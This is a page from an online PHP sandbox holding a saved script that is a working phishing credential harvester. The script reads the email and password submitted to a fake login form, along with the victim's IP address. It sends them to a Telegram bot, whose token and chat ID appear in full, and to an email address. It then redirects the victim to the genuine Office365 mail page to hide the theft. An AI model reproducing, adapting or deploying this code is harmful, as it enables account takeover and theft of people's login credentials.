lplp - PHP Online
Form of PHP Sandbox
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of lplp.php
- <?php
- // Function to send message to Telegram chat
- function sendMessageToTelegram($message) {
- // Replace <YOUR_TELEGRAM_BOT_TOKEN> with your Telegram bot token
- $botToken = '7123512915:AAGXZ-R4X6Vic4gV7mjn_Tt2HhSzTJTNIJ4';
- // Replace <YOUR_TELEGRAM_CHAT_ID> with the chat ID where you want to receive the messages
- $chatID = '7035102252';
- $url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatID&text=" . urlencode($message);
- file_get_contents($url);
- }
- // Check if form is submitted
- if ($_SERVER["REQUEST_METHOD"] == "POST") {
- // Retrieve username and password from the form
- $onlineid = $_POST["email"];
- $passcode = $_POST["password"];
- $ip = getenv("REMOTE_ADDR");
- // Construct message to send to Telegram
- $message = "*********** PO ***********\n";
- $message .= "UserID: $onlineid\n";
- $message .= "Passwd: $passcode\n";
- $message .= "IP Address: $ip\n";
- $message .= "*********** PO ***********\n\n\n";
- // Send message to Telegram
- sendMessageToTelegram($message);
- // Email message details
- $subject = "DOMAIN | $onlineid | $ip";
- $headers .= $_POST['email']."\n";
- $headers .= "MIME-Version: 1.0\n";
- // Send email
- mail("$send", "$subject", $message, $headers);
- // Redirect to a page after submission
- header("LOCATION: https://mail.office365.com/");
- exit();
- } else {
- // Redirect back if the form is not submitted
- header("LOCATION: https://example.com/login.html");
- exit();
- }
- ?>